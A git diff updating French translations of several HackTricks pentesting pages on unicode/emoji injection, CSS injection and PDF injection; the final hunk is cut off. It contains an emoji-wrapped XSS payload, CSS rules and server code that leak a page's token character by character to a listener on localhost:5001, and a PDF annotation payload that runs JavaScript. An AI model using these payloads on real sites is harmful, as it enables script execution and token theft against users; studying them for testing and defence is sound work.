<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||||
|
|
||||||
- Travaillez-vous dans une **entreprise de cybersécurité** ? Voulez-vous voir votre **entreprise annoncée dans HackTricks** ? ou voulez-vous avoir accès à la **dernière version de PEASS ou télécharger HackTricks en PDF** ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
|
Autres moyens de soutenir HackTricks :
|
||||||
|
|
||||||
- Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)!
|
||||||
|
* Obtenez le [**merchandising officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||||
- Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
* Découvrez [**La Famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection d'[**NFTs**](https://opensea.io/collection/the-peass-family) exclusifs
|
||||||
|
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||||
- **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
* **Partagez vos astuces de piratage en soumettant des PR aux dépôts github** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||||
|
|
||||||
- **Partagez vos astuces de piratage en soumettant des PR au [repo hacktricks](https://github.com/carlospolop/hacktricks) et au [repo hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
|
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
|
||||||
## Introduction
|
## Introduction
|
||||||
|
|
||||||
Selon la façon dont le back-end/front-end se comporte lorsqu'il **reçoit des caractères Unicode étranges**, un attaquant pourrait être en mesure de **contourner les protections et d'injecter des caractères arbitraires** qui pourraient être utilisés pour **exploiter des vulnérabilités d'injection** telles que XSS ou SQLi.
|
Selon la manière dont le back-end/front-end se comporte lorsqu'il **reçoit des caractères unicode étranges**, un attaquant pourrait être capable de **contourner les protections et injecter des caractères arbitraires** qui pourraient être utilisés pour **exploiter des vulnérabilités d'injection** telles que XSS ou SQLi.
|
||||||
|
|
||||||
## Normalisation Unicode
|
## Normalisation Unicode
|
||||||
|
|
||||||
La normalisation Unicode se produit lorsque les **caractères Unicode sont normalisés en caractères ASCII**.
|
La normalisation Unicode se produit lorsque **les caractères unicode sont normalisés en caractères ascii**.
|
||||||
|
|
||||||
Un scénario courant de ce type de vulnérabilité se produit lorsque le système **modifie** d'une manière ou d'une autre l'**entrée** de l'utilisateur **après l'avoir vérifiée**. Par exemple, dans certaines langues, un simple appel pour mettre l'**entrée en majuscules ou en minuscules** pourrait normaliser l'entrée donnée et l'**Unicode sera transformé en ASCII** générant de nouveaux caractères.\
|
Un scénario courant de ce type de vulnérabilité se produit lorsque le système **modifie** d'une manière ou d'une autre l'**entrée** de l'utilisateur **après l'avoir vérifiée**. Par exemple, dans certaines langues, un simple appel pour rendre l'**entrée en majuscules ou en minuscules** pourrait normaliser l'entrée donnée et l'**unicode sera transformé en ASCII**, générant de nouveaux caractères.\
|
||||||
Pour plus d'informations, consultez :
|
Pour plus d'informations, consultez :
|
||||||
|
|
||||||
{% content-ref url="unicode-normalization.md" %}
|
{% content-ref url="unicode-normalization.md" %}
|
||||||
[unicode-normalization.md](unicode-normalization.md)
|
[unicode-normalization.md](unicode-normalization.md)
|
||||||
{% endcontent-ref %}
|
{% endcontent-ref %}
|
||||||
|
|
||||||
## `\u` to `%`
|
## `\u` en `%`
|
||||||
|
|
||||||
Les caractères Unicode sont généralement représentés avec le préfixe **`\u`**. Par exemple, le caractère `㱋` est `\u3c4b`([vérifiez-le ici](https://unicode-explorer.com/c/3c4B)). Si un back-end **transforme** le préfixe **`\u` en `%`**, la chaîne résultante sera `%3c4b`, qui, une fois décodée en URL, est : **`<4b`**. Et, comme vous pouvez le voir, un **caractère `<` est injecté**.\
|
Les caractères Unicode sont généralement représentés avec le préfixe **`\u`**. Par exemple, le caractère `㱋` est `\u3c4b`([vérifiez-le ici](https://unicode-explorer.com/c/3c4B)). Si un backend **transforme** le préfixe **`\u` en `%`**, la chaîne résultante sera `%3c4b`, qui, une fois décodée en URL, est : **`<4b`**. Et, comme vous pouvez le voir, un caractère **`<` est injecté**.\
|
||||||
Vous pouvez utiliser cette technique pour **injecter n'importe quel type de caractère** si le back-end est vulnérable.\
|
Vous pourriez utiliser cette technique pour **injecter n'importe quel type de caractère** si le backend y est vulnérable.\
|
||||||
Consultez [https://unicode-explorer.com/](https://unicode-explorer.com/) pour trouver les caractères dont vous avez besoin.
|
Consultez [https://unicode-explorer.com/](https://unicode-explorer.com/) pour trouver les caractères dont vous avez besoin.
|
||||||
|
|
||||||
Cette vulnérabilité vient en fait d'une vulnérabilité qu'un chercheur a trouvée, pour une explication plus approfondie, consultez [https://www.youtube.com/watch?v=aUsAHb0E7Cg](https://www.youtube.com/watch?v=aUsAHb0E7Cg)
|
Cette vuln provient en fait d'une vulnérabilité qu'un chercheur a trouvée, pour une explication plus approfondie consultez [https://www.youtube.com/watch?v=aUsAHb0E7Cg](https://www.youtube.com/watch?v=aUsAHb0E7Cg)
|
||||||
|
|
||||||
## Injection d'Emoji
|
## Injection d'Emoji
|
||||||
|
|
||||||
Les back-ends se comportent parfois de manière étrange lorsqu'ils **reçoivent des emojis**. C'est ce qui s'est passé dans [**ce writeup**](https://medium.com/@fpatrik/how-i-found-an-xss-vulnerability-via-using-emojis-7ad72de49209) où le chercheur a réussi à obtenir un XSS avec une charge utile telle que : `💋img src=x onerror=alert(document.domain)//💛`
|
Les back-ends se comportent parfois de manière étrange lorsqu'ils **reçoivent des emojis**. C'est ce qui s'est passé dans [**ce compte-rendu**](https://medium.com/@fpatrik/how-i-found-an-xss-vulnerability-via-using-emojis-7ad72de49209) où le chercheur a réussi à obtenir un XSS avec une charge utile telle que : `💋img src=x onerror=alert(document.domain)//💛`
|
||||||
|
|
||||||
Dans ce cas, l'erreur était que le serveur, après avoir supprimé les caractères malveillants, **a converti la chaîne UTF-8 de Windows-1252 en UTF-8** (essentiellement, l'encodage d'entrée et la conversion d'encodage ne correspondaient pas). Ensuite, cela ne donne pas un < correct, mais un étrange unicode : `‹`\
|
Dans ce cas, l'erreur était que le serveur, après avoir supprimé les caractères malveillants, **a converti la chaîne UTF-8 de Windows-1252 en UTF-8** (en gros, l'encodage d'entrée et la conversion de l'encodage ne correspondaient pas). Cela ne donne pas un vrai `<` mais un unicode étrange : `‹`\
|
||||||
``Ils ont donc pris cette sortie et **converti à nouveau maintenant d'UTF-8 en ASCII**. Cela a **normalisé** le `‹` en `<`, c'est ainsi que l'exploit a pu fonctionner sur ce système.\
|
``Ils ont donc pris cette sortie et **l'ont convertie à nouveau maintenant de UTF-8 en ASCII**. Cela a **normalisé** le `‹` en `<` c'est ainsi que l'exploit a pu fonctionner sur ce système.\
|
||||||
Voici ce qui s'est passé :
|
Voici ce qui s'est passé :
|
||||||
```php
|
```php
|
||||||
<?php
|
<?php
|
||||||
|
@ -56,23 +54,21 @@ $str = iconv("UTF-8", "ASCII//TRANSLIT", $str);
|
||||||
|
|
||||||
echo "String: " . $str;
|
echo "String: " . $str;
|
||||||
```
|
```
|
||||||
Liste d'emojis :
|
Listes d'émojis :
|
||||||
|
|
||||||
* [https://github.com/iorch/jakaton\_feminicidios/blob/master/data/emojis.csv](https://github.com/iorch/jakaton\_feminicidios/blob/master/data/emojis.csv)
|
* [https://github.com/iorch/jakaton_feminicidios/blob/master/data/emojis.csv](https://github.com/iorch/jakaton_feminicidios/blob/master/data/emojis.csv)
|
||||||
* [https://unicode.org/emoji/charts-14.0/full-emoji-list.html](https://unicode.org/emoji/charts-14.0/full-emoji-list.html)
|
* [https://unicode.org/emoji/charts-14.0/full-emoji-list.html](https://unicode.org/emoji/charts-14.0/full-emoji-list.html)
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||||
|
|
||||||
- Travaillez-vous dans une entreprise de **cybersécurité** ? Voulez-vous voir votre **entreprise annoncée dans HackTricks** ? ou voulez-vous avoir accès à la **dernière version de PEASS ou télécharger HackTricks en PDF** ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
|
Autres moyens de soutenir HackTricks :
|
||||||
|
|
||||||
- Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)!
|
||||||
|
* Obtenez le [**merchandising officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||||
- Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
* Découvrez [**La Famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection d'[**NFTs**](https://opensea.io/collection/the-peass-family) exclusifs
|
||||||
|
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez**-moi sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||||
- **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
* **Partagez vos astuces de piratage en soumettant des PR aux dépôts github** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||||
|
|
||||||
- **Partagez vos astuces de piratage en soumettant des PR au [repo hacktricks](https://github.com/carlospolop/hacktricks) et au [repo hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
|
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
|
|
@ -2,23 +2,21 @@
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
<summary><strong>Apprenez le hacking AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||||
|
|
||||||
- Travaillez-vous dans une **entreprise de cybersécurité** ? Voulez-vous voir votre **entreprise annoncée dans HackTricks** ? ou voulez-vous avoir accès à la **dernière version de PEASS ou télécharger HackTricks en PDF** ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
|
Autres moyens de soutenir HackTricks :
|
||||||
|
|
||||||
- Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFT**](https://opensea.io/collection/the-peass-family)
|
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)!
|
||||||
|
* Obtenez le [**merchandising officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||||
- Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
* Découvrez [**La Famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection d'[**NFTs**](https://opensea.io/collection/the-peass-family) exclusifs
|
||||||
|
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||||
- **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
* **Partagez vos astuces de hacking en soumettant des PR aux dépôts github** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||||
|
|
||||||
- **Partagez vos astuces de piratage en soumettant des PR au [repo hacktricks](https://github.com/carlospolop/hacktricks) et au [repo hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
|
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
|
||||||
<figure><img src="/.gitbook/assets/image (675).png" alt=""><figcaption></figcaption></figure>
|
<figure><img src="/.gitbook/assets/image (675).png" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
Trouvez les vulnérabilités les plus importantes afin de les corriger plus rapidement. Intruder suit votre surface d'attaque, effectue des analyses de menaces proactives, trouve des problèmes dans l'ensemble de votre pile technologique, des API aux applications web et aux systèmes cloud. [**Essayez-le gratuitement**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks) dès aujourd'hui.
|
Trouvez les vulnérabilités les plus importantes pour les corriger plus rapidement. Intruder suit votre surface d'attaque, effectue des scans de menaces proactifs, trouve des problèmes dans toute votre pile technologique, des API aux applications web et systèmes cloud. [**Essayez-le gratuitement**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks) aujourd'hui.
|
||||||
|
|
||||||
{% embed url="https://www.intruder.io/?utm_campaign=hacktricks&utm_source=referral" %}
|
{% embed url="https://www.intruder.io/?utm_campaign=hacktricks&utm_source=referral" %}
|
||||||
|
|
||||||
|
@ -34,7 +32,11 @@ Trouvez les vulnérabilités les plus importantes afin de les corriger plus rapi
|
||||||
@import url('//localhost:5001/start?');
|
@import url('//localhost:5001/start?');
|
||||||
</style>
|
</style>
|
||||||
```
|
```
|
||||||
|
```markdown
|
||||||
|
{% endcode %}
|
||||||
|
|
||||||
{% code title="server.js" %}
|
{% code title="server.js" %}
|
||||||
|
```
|
||||||
```javascript
|
```javascript
|
||||||
const http = require('http');
|
const http = require('http');
|
||||||
const url = require('url');
|
const url = require('url');
|
||||||
|
@ -191,7 +193,7 @@ input[value=]{list-style:url(http://localhost:5001/end?token=&)};
|
||||||
/*
|
/*
|
||||||
HTTP/1.1 200 OK
|
HTTP/1.1 200 OK
|
||||||
Content-Type: text/css
|
Content-Type: text/css
|
||||||
Date: Ven, 01 Avr 2022 14:35:39 GMT
|
Date: Fri, 01 Apr 2022 14:35:39 GMT
|
||||||
Connection: close
|
Connection: close
|
||||||
Content-Length: 2149
|
Content-Length: 2149
|
||||||
|
|
||||||
|
@ -232,26 +234,27 @@ input[value^="f"]{--s0:url(http://localhost:5001/leak?pre=f)}
|
||||||
input{border-image:var(--s0)}
|
input{border-image:var(--s0)}
|
||||||
input[value=]{list-style:url(http://localhost:5001/end?token=&)};
|
input[value=]{list-style:url(http://localhost:5001/end?token=&)};
|
||||||
*/
|
*/
|
||||||
|
```
|
||||||
|
```markdown
|
||||||
{% endcode %}
|
{% endcode %}
|
||||||
|
|
||||||
<figure><img src="/.gitbook/assets/image (675).png" alt=""><figcaption></figcaption></figure>
|
<figure><img src="/.gitbook/assets/image (675).png" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
Trouvez les vulnérabilités les plus importantes afin de pouvoir les corriger plus rapidement. Intruder suit votre surface d'attaque, effectue des analyses de menaces proactives, trouve des problèmes dans l'ensemble de votre pile technologique, des API aux applications web et aux systèmes cloud. [**Essayez-le gratuitement**](https://www.intruder.io/?utm_source=referral&utm_campaign=hacktricks) dès aujourd'hui.
|
Trouvez les vulnérabilités les plus importantes afin de les corriger plus rapidement. Intruder surveille votre surface d'attaque, effectue des scans de menaces proactifs, trouve des problèmes dans l'ensemble de votre pile technologique, des API aux applications web et aux systèmes cloud. [**Essayez-le gratuitement**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks) aujourd'hui.
|
||||||
|
|
||||||
{% embed url="https://www.intruder.io/?utm_campaign=hacktricks&utm_source=referral" %}
|
{% embed url="https://www.intruder.io/?utm_campaign=hacktricks&utm_source=referral" %}
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
<summary><strong>Apprenez le hacking AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||||
|
|
||||||
- Travaillez-vous dans une **entreprise de cybersécurité** ? Voulez-vous voir votre **entreprise annoncée dans HackTricks** ? ou voulez-vous avoir accès à la **dernière version de PEASS ou télécharger HackTricks en PDF** ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
|
Autres moyens de soutenir HackTricks :
|
||||||
|
|
||||||
- Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFT**](https://opensea.io/collection/the-peass-family)
|
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)!
|
||||||
|
* Obtenez le [**merchandising officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||||
- Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
* Découvrez [**La Famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection d'[**NFTs**](https://opensea.io/collection/the-peass-family) exclusifs
|
||||||
|
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||||
- **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
* **Partagez vos astuces de hacking en soumettant des PR aux dépôts github** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||||
|
|
||||||
- **Partagez vos astuces de piratage en soumettant des PR au [repo hacktricks](https://github.com/carlospolop/hacktricks) et au [repo hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
|
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
```
|
||||||
|
|
|
@ -1,40 +1,38 @@
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||||
|
|
||||||
- Travaillez-vous dans une **entreprise de cybersécurité** ? Voulez-vous voir votre **entreprise annoncée dans HackTricks** ? ou voulez-vous avoir accès à la **dernière version de PEASS ou télécharger HackTricks en PDF** ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
|
Autres moyens de soutenir HackTricks :
|
||||||
|
|
||||||
- Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
|
||||||
|
* Obtenez le [**merchandising officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||||
- Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
* Découvrez [**La Famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusifs
|
||||||
|
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||||
- **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
* **Partagez vos astuces de piratage en soumettant des PRs aux dépôts github** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||||
|
|
||||||
- **Partagez vos astuces de piratage en soumettant des PR au [dépôt hacktricks](https://github.com/carlospolop/hacktricks) et au [dépôt hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
|
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
|
||||||
|
|
||||||
**Si votre entrée est reflétée dans un fichier PDF, vous pouvez essayer d'injecter des données PDF pour exécuter JavaScript ou voler le contenu PDF.**
|
**Si vos données sont reflétées à l'intérieur d'un fichier PDF, vous pouvez essayer d'injecter des données PDF pour exécuter du JavaScript ou voler le contenu du PDF.**
|
||||||
|
|
||||||
Les informations suivantes ont été prises sur [**https://portswigger.net/research/portable-data-exfiltration**](https://portswigger.net/research/portable-data-exfiltration)
|
Les informations suivantes ont été prises de [**https://portswigger.net/research/portable-data-exfiltration**](https://portswigger.net/research/portable-data-exfiltration)
|
||||||
|
|
||||||
## PDF-Lib
|
## PDF-Lib
|
||||||
|
|
||||||
Cette fois, j'utilisais [PDFLib](https://pdf-lib.js.org). J'ai pris un certain temps pour utiliser la bibliothèque afin de créer une annotation et voir si je pouvais injecter une parenthèse fermante dans l'URI de l'annotation - et ça a marché ! Le code vulnérable que j'ai utilisé pour générer le code d'annotation était :
|
Cette fois, j'utilisais [PDFLib](https://pdf-lib.js.org). J'ai pris du temps pour utiliser la bibliothèque afin de créer une annotation et voir si je pouvais injecter une parenthèse fermante dans l'URI de l'annotation - et ça a marché ! Le code vulnérable exemple que j'ai utilisé pour générer le code d'annotation était :
|
||||||
|
|
||||||
`...` \
|
`...` \
|
||||||
`A: {`\
|
`A: {`\
|
||||||
`Type: 'Action',`\
|
`Type: 'Action',`\
|
||||||
`S: 'URI',`\
|
`S: 'URI',`\
|
||||||
``URI: PDFString.of(`injection)`),``\
|
``URI: PDFString.of(`injection)`),``\
|
||||||
`}`\
|
`}`\
|
||||||
`})`\
|
`})`\
|
||||||
`...`
|
`...`
|
||||||
|
|
||||||
[Code complet :](https://github.com/PortSwigger/portable-data-exfiltration/blob/main/PDF-research-samples/pdf-lib/first-injection/test.js)
|
[Code complet :](https://github.com/PortSwigger/portable-data-exfiltration/blob/main/PDF-research-samples/pdf-lib/first-injection/test.js)
|
||||||
|
|
||||||
Comment ai-je su que l'injection avait réussi ? Le PDF s'affichait correctement sauf si j'injectais une parenthèse fermante. Cela a prouvé que la parenthèse fermante sortait de la chaîne de caractères et causait un code PDF invalide. Casser le PDF était bien, mais je devais m'assurer que je pouvais bien sûr exécuter JavaScript. J'ai regardé le code PDF rendu et j'ai remarqué que la sortie était encodée en utilisant le filtre FlateDecode. J'ai écrit un petit script pour décompresser le bloc et la sortie de la section d'annotation ressemblait à ceci :`<<`\
|
Comment savais-je que l'injection avait réussi ? Le PDF se rendrait correctement à moins que j'injecte une parenthèse fermante. Cela prouvait que la parenthèse fermante sortait de la chaîne et causait un code PDF invalide. Casser le PDF était bien, mais je devais m'assurer que je pouvais exécuter du JavaScript bien sûr. J'ai regardé le code PDF rendu et j'ai remarqué que la sortie était encodée en utilisant le filtre FlateDecode. J'ai écrit un petit script pour dégonfler le bloc et la sortie de la section d'annotation ressemblait à ceci :`<<`\
|
||||||
`/Type /Annot`\
|
`/Type /Annot`\
|
||||||
`/Subtype /Link`\
|
`/Subtype /Link`\
|
||||||
`/Rect [ 50 746.89 320 711.89 ]`\
|
`/Rect [ 50 746.89 320 711.89 ]`\
|
||||||
|
@ -47,22 +45,67 @@ Comment ai-je su que l'injection avait réussi ? Le PDF s'affichait correctement
|
||||||
`>>`\
|
`>>`\
|
||||||
`>>`
|
`>>`
|
||||||
|
|
||||||
Comme vous pouvez le voir clairement, la chaîne d'injection ferme la limite de texte avec une parenthèse fermante, ce qui laisse une parenthèse fermante existante qui provoque un rendu incorrect du PDF :
|
Comme vous pouvez clairement le voir, la chaîne d'injection ferme la limite du texte avec une parenthèse fermante, ce qui laisse une parenthèse fermante existante qui provoque le rendu incorrect du PDF :
|
||||||
|
|
||||||
![Capture d'écran montrant une boîte de dialogue d'erreur lors du chargement du PDF](https://portswigger.net/cms/images/34/f4/3ed2-article-screenshot-showing-damaged-pdf.png)
|
![Capture d'écran montrant une boîte de dialogue d'erreur lors du chargement du PDF](https://portswigger.net/cms/images/34/f4/3ed2-article-screenshot-showing-damaged-pdf.png)
|
||||||
|
|
||||||
Super, j'ai pu casser le rendu du PDF, et maintenant ? Je devais trouver une injection qui appelait du JavaScript - l'alerte(1) de l'injection PDF.
|
Génial, donc je pouvais casser le rendu du PDF, et maintenant ? Je devais trouver une injection qui appelait du JavaScript - l'alert(1) de l'injection PDF.
|
||||||
|
|
||||||
Tout comme les vecteurs XSS dépendent de l'analyse du navigateur, l'exploitabilité de l
|
Tout comme les vecteurs XSS dépendent de l'analyse du navigateur, l'exploitabilité de l'injection PDF peut dépendre du moteur de rendu PDF. J'ai décidé de commencer par cibler Acrobat car je pensais que les vecteurs étaient moins susceptibles de fonctionner dans Chrome. Deux choses que j'ai remarquées : 1) Vous pouviez injecter des actions d'annotation supplémentaires et 2) si vous réparez la parenthèse fermante existante, alors le PDF se rendrait. Après quelques expérimentations, j'ai trouvé un joli payload qui injectait une action d'annotation supplémentaire, exécutait du JavaScript et réparait la parenthèse fermante :`/blah)>>/A<</S/JavaScript/JS(app.alert(1);)/Type/Action>>/>>(`
|
||||||
## Chrome
|
|
||||||
|
|
||||||
